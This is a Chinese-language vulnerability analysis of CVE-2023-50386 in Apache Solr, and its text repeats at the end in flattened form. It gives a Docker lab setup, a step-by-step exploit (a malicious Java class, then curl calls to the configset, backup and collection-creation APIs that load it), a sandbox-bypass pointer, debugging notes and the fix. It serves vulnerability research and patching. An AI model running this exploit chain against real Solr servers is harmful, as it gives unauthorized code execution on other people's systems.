Apache Solr Backup/Restore APIs RCE (CVE-2023-50386)分析及挖掘思路
字数 1319 2025-08-06 08:35:30

Apache Solr Backup/Restore APIs RCE (CVE-2023-50386) 深入分析与利用指南

漏洞概述

Apache Solr 在创建 Collection 时会以特定目录作为 classpath 加载类文件,而备份功能可以导出攻击者上传的恶意 class 文件到该目录,导致任意 Java 代码执行。该漏洞可绕过 Solr 配置的 Java 沙箱,最终实现任意命令执行。

漏洞编号: CVE-2023-50386
官方通告: Apache Solr 安全公告

影响范围

  • Apache Solr 6.0.0 至 8.11.2
  • Apache Solr 9.0.0 至 9.4.1 之前的版本
  • 仅影响 SolrCloud 模式

环境搭建

# 启动并进入Solr容器
docker run --rm -ti --name solr9.0.0 -p 8983:8983 -p 5005:5005 solr:9.0.0 bash

# 以SolrCloud模式启动Solr,并附加Java调试参数
solr start -c -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"

漏洞复现步骤

1. 准备Solr默认配置文件

# 以root权限进入Solr容器
docker exec -ti -uroot solr9.0.0 bash

# 打包默认配置文件
cd /opt/solr-9.0.0/server/solr/configsets/_default
tar cf conf.tar conf/
exit

# 复制配置文件到本地
docker cp solr9.0.0:/opt/solr-9.0.0/server/solr/configsets/_default/conf.tar ~/Desktop/test/
tar xf conf.tar

2. 编译恶意class文件

创建Java类文件 Exp.java:

package zk_backup_0.configs.conf1;
import java.io.File;

public class Exp {
    static {
        try {
            new File("/tmp/success").createNewFile();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

编译时注意Java版本兼容性(容器内使用Java 17):

javac Exp.java

3. 上传配置文件conf1

# 将恶意class放入配置文件目录
mv zk_backup_0/configs/conf1/Exp.class conf/

# 打包并上传
cd conf
zip -q -r conf1.zip *
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf1"

4. 使用conf1创建collection1

curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection1&numShards=1&replicationFactor=1&wt=json&collection.configName=conf1"

5. 备份collection1导出conf1

curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=collection2_shard1_replica_n1"

6. 再次备份导出到lib目录

curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/collection2_shard1_replica_n1&name=lib"

此时恶意class文件位于: /var/solr/data/collection2_shard1_replica_n1/lib/collection1/zk_backup_0/configs/conf1/

7. 修改并上传配置文件conf2

编辑 solrconfig.xml,取消 valueSourceParser 标签注释并修改为:

<valueSourceParser name="myfunc" class="zk_backup_0.configs.conf1.Exp" />

打包上传:

rm Exp.class conf1.zip
zip -q -r conf2.zip *
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf2.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf2"

8. 使用conf2创建collection2触发RCE

curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection2&numShards=1&replicationFactor=1&wt=json&collection.configName=conf2"

沙箱绕过技术

虽然Solr通过这种方式执行Java代码会受到沙箱限制,但可以通过创建自定义ClassLoader绕过。参考: Java沙箱逃逸技术

清理环境

curl "http://127.0.0.1:8983/solr/admin/collections?action=DELETE&name=collection1"
curl "http://127.0.0.1:8983/solr/admin/configs?action=DELETE&name=conf1"
curl "http://127.0.0.1:8983/solr/admin/configs?action=DELETE&name=conf2"

漏洞分析

关键点

  1. 类加载机制: Solr在创建Collection时会加载配置文件中设置的Java类,classpath为特定目录
  2. 备份功能: 备份Collection时会导出用户上传的配置文件
  3. 路径可控: 备份导出的路径在一定程度上可控
  4. 未授权访问: 相关API接口默认情况下均可未授权访问

调试分析

  1. 加载lib路径:

    • 断点位置: org.apache.solr.handler.admin.CollectionsHandler#handleRequestBody
    • 关键代码: org.apache.solr.core.SolrConfig#initLibs
    • libPath: /var/solr/data/test_collection_shard1_replica_n1/lib
    • 该路径下的Jar包和一级子目录会被作为URLClassLoader的urls
  2. 写入lib路径:

    • 通过备份API将恶意class写入特定目录
    • 利用Java包名结构匹配多级子目录路径

漏洞修复

官方修复补丁: GitHub提交
主要增加了备份导出时的文件类型黑名单。

参考资源

Apache Solr Backup/Restore APIs RCE (CVE-2023-50386) 深入分析与利用指南 漏洞概述 Apache Solr 在创建 Collection 时会以特定目录作为 classpath 加载类文件,而备份功能可以导出攻击者上传的恶意 class 文件到该目录,导致任意 Java 代码执行。该漏洞可绕过 Solr 配置的 Java 沙箱,最终实现任意命令执行。 漏洞编号 : CVE-2023-50386 官方通告 : Apache Solr 安全公告 影响范围 Apache Solr 6.0.0 至 8.11.2 Apache Solr 9.0.0 至 9.4.1 之前的版本 仅影响 SolrCloud 模式 环境搭建 漏洞复现步骤 1. 准备Solr默认配置文件 2. 编译恶意class文件 创建Java类文件 Exp.java : 编译时注意Java版本兼容性(容器内使用Java 17): 3. 上传配置文件conf1 4. 使用conf1创建collection1 5. 备份collection1导出conf1 6. 再次备份导出到lib目录 此时恶意class文件位于: /var/solr/data/collection2_shard1_replica_n1/lib/collection1/zk_backup_0/configs/conf1/ 7. 修改并上传配置文件conf2 编辑 solrconfig.xml ,取消 valueSourceParser 标签注释并修改为: 打包上传: 8. 使用conf2创建collection2触发RCE 沙箱绕过技术 虽然Solr通过这种方式执行Java代码会受到沙箱限制,但可以通过创建自定义ClassLoader绕过。参考: Java沙箱逃逸技术 清理环境 漏洞分析 关键点 类加载机制 : Solr在创建Collection时会加载配置文件中设置的Java类,classpath为特定目录 备份功能 : 备份Collection时会导出用户上传的配置文件 路径可控 : 备份导出的路径在一定程度上可控 未授权访问 : 相关API接口默认情况下均可未授权访问 调试分析 加载lib路径 : 断点位置: org.apache.solr.handler.admin.CollectionsHandler#handleRequestBody 关键代码: org.apache.solr.core.SolrConfig#initLibs libPath: /var/solr/data/test_collection_shard1_replica_n1/lib 该路径下的Jar包和一级子目录会被作为URLClassLoader的urls 写入lib路径 : 通过备份API将恶意class写入特定目录 利用Java包名结构匹配多级子目录路径 漏洞修复 官方修复补丁: GitHub提交 主要增加了备份导出时的文件类型黑名单。 参考资源 Solr安全总结 Solr配置集API文档 Solr集合管理文档